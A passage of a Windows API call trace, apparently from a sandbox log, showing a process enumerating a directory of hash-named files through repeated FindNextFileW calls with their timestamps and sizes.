cFileName="1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", cAlternateFileName="1F9E7E~1")) returned 1 [0211.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23b0e52, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc23b0e52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f903f2d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x235d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2002896BDFC9D08F61F19B61E28302E004E659C6", cAlternateFileName="200289~1")) returned 1 [0211.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x346a7252, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x346a7252, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x348249e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="2084506A70CA3A1F0B77218D89A9FEF723A36E38", cAlternateFileName="208450~1")) returned 1 [0211.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4329e9f1, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4329e9f1, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4329e9f1, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="208483D2803117F885B3B730B35024666396680C", cAlternateFileName="208483~1")) returned 1 [0211.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbd536, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcafbd536, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x149e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2119417A1C9E8DA14601959E96C1123DBD536A0E", cAlternateFileName="211941~1")) returned 1 [0211.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a510, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x436a510, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4372d93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x21c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="23235518CD38CB3D10B0AC591123694C9D398B7F", cAlternateFileName="232355~1")) returned 1 [0211.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1137, dwReserved0=0x0, dwReserved1=0x0, cFileName="23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", cAlternateFileName="23DA68~1")) returned 1 [0211.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c21097, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4630, dwReserved0=0x0, dwReserved1=0x0, cFileName="23E137DFD51BC10A5A373603EA1ED32314D43850", cAlternateFileName="23E137~1")) returned 1 [0211.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113b, dwReserved0=0x0, dwReserved1=0x0, cFileName="2414045942C11CC3E304204DAE2B8DFA27711F3F", cAlternateFileName="241404~1")) returned 1 [0211.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4386e489, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4386e489, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4386e489, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x54c, dwReserved0=0x0, dwReserved1=0x0, cFileName="24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", cAlternateFileName="24BE47~1")) returned 1 [0211.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430faed6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x430faed6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x430faed6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="24C5A11C7C55D609ED86B6E31E2C94301D075CB3", cAlternateFileName="24C5A1~1")) returned 1 [0211.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8f4c8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4c8f4c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e69094, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x12126, dwReserved0=0x0, dwReserved1=0x0, cFileName="24F9514653FD834D9D33E21B4C0AECB308550A9A", cAlternateFileName="24F951~1")) returned 1 [0211.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69183c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x69183c7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x692337c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="254686BCA69ED43CB6F2FD35C26758AA2D993329", cAlternateFileName="254686~1")) returned 1 [0211.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45d74626, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45d74626, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45d74626, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xad2, dwReserved0=0x0, dwReserved1=0x0, cFileName="2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E", cAlternateFileName="2598A1~1")) returned 1 [0211.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc997b2b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc997b2b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc997b2b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1867, dwReserved0=0x0, dwReserved1=0x0, cFileName="26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98", cAlternateFileName="26DCBF~1")) returned 1 [0211.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="28DD73A864C09949BE5B625DFA4CF2CC8D7B0272", cAlternateFileName="28DD73~1")) returned 1 [0211.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28032b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc28032b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3fb40231, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf756, dwReserved0=0x0, dwReserved1=0x0, cFileName="292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8", cAlternateFileName="292C4D~1")) returned 1 [0211.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2A0C541C7E9FC0F629A45F976215EB2A8AE994F3", cAlternateFileName="2A0C54~1")) returned 1 [0211.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1137, dwReserved0=0x0, dwReserved1=0x0, cFileName="2A2631B4E21DE0654F50C86D5D9258EBDB245D08", cAlternateFileName="2A2631~1")) returned 1 [0211.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A", cAlternateFileName="2A650C~1")) returned 1 [0211.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c100ef, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42c100ef, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42c100ef, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="2A7F9C218AF57C32B146B82864B7FBDB08B612DA", cAlternateFileName="2A7F9C~1")) returned 1 [0211.789] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36514b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc36514b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A", cAlternateFileName="2AEEA3~1")) returned 1 [0211.789] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee9549, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7ee9549, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x856d77b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x12c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B24068915A6A6D77F01D72F7883D0A5FF0907B6", cAlternateFileName="2B2406~1")) returned 1 [0211.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6b94c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1d6b94c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e6a43d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2", cAlternateFileName="2B784C~1")) returned 1 [0211.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435e1c2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x435e1c2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x43706bf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2562, dwReserved0=0x0, dwReserved1=0x0, cFileName="2C1C3006E308780316B46ECD995A5336C781BEE6", cAlternateFileName="2C1C30~1")) returned 1 [0211.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x0, dwReserved1=0x0, cFileName="2C416B78A7C89B5CDB81D93B1A303A39C7E34723", cAlternateFileName="2C416B~1")) returned 1 [0211.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c21097, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="2C6468600265AB1F5F8363AFD96F4AE7E91EE790", cAlternateFileName="2C6468~1")) returned 1 [0211.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1137, dwReserved0=0x0, dwReserved1=0x0, cFileName="2CA5871C48087826D8608DA52BA892CBBA1FC30E", cAlternateFileName="2CA587~1")) returned 1 [0211.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE", cAlternateFileName="2D7DB1~1")) returned 1 [0211.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d0cd3a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43d0cd3a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43d0cd3a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1794, dwReserved0=0x0, dwReserved1=0x0, cFileName="2E08CDAEE955A40889AC5877BE194C7EF12394A5", cAlternateFileName="2E08CD~1")) returned 1 [0211.791] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45", cAlternateFileName="2EAFF2~1")) returned 1 [0211.791] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32979d2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc32979d2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc32bdc47, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x53c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="2EEF955B1888DD216711A407C2CA7C4F0AEFD623", cAlternateFileName="2EEF95~1")) returned 1 [0211.791] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1163, dwReserved0=0x0, dwReserved1=0x0, cFileName="2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6", cAlternateFileName="2EF13D~1")) returned 1 [0211.791] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba081c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3ba081c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3ba1ba5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x17d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4", cAlternateFileName="2F08D4~1")) returned 1 [0211.791] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e4570d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2e4570d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2e4570d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F803861A862CED3B233D955BAE181A1838202B7", cAlternateFileName="2F8038~1")) returned 1 [0211.791] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5581a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e5581a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x54989d6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e52, dwReserved0=0x0, dwReserved1=0x0, cFileName="2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78", cAlternateFileName="2FC942~1")) returned 1 [0211.791] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x0, dwReserved1=0x0, cFileName="2FD61AE1BA24124CC1923ECAFD4AAC3D50447717", cAlternateFileName="2FD61A~1")) returned 1 [0211.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90c92ac, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="31279F1295868B1758188226BB765EF87F3F8DB8", cAlternateFileName="31279F~1")) returned 1 [0211.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e07506, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc1e07506, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f24f4ed, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1eef, dwReserved0=0x0, dwReserved1=0x0, cFileName="31592C8B017CA0508B5F0339E7E1EA46376F2D31", cAlternateFileName="31592C~1")) returned 1 [0211.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb6b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="32AFE38EED991EA004851E7C968397C7D9EA501C", cAlternateFileName="32AFE3~1")) returned 1 [0211.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bb580e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43bb580e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43bb580e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32B6927A1EB46E83B230070265358A1C5B788D11", cAlternateFileName="32B692~1")) returned 1 [0211.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef7bf2c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef7bf2c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x45166c41, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x911d, dwReserved0=0x0, dwReserved1=0x0, cFileName="339A4E96E26DFFA4704F0AF081D2B85B12D03939", cAlternateFileName="339A4E~1")) returned 1 [0211.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd56503b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd56503b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd56503b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x0, dwReserved1=0x0, cFileName="33A34037B96BD19CC90C0A382CEDF384EE052FCC", cAlternateFileName="33A340~1")) returned 1 [0211.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a57cd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc48a57cd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc493dfe5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, 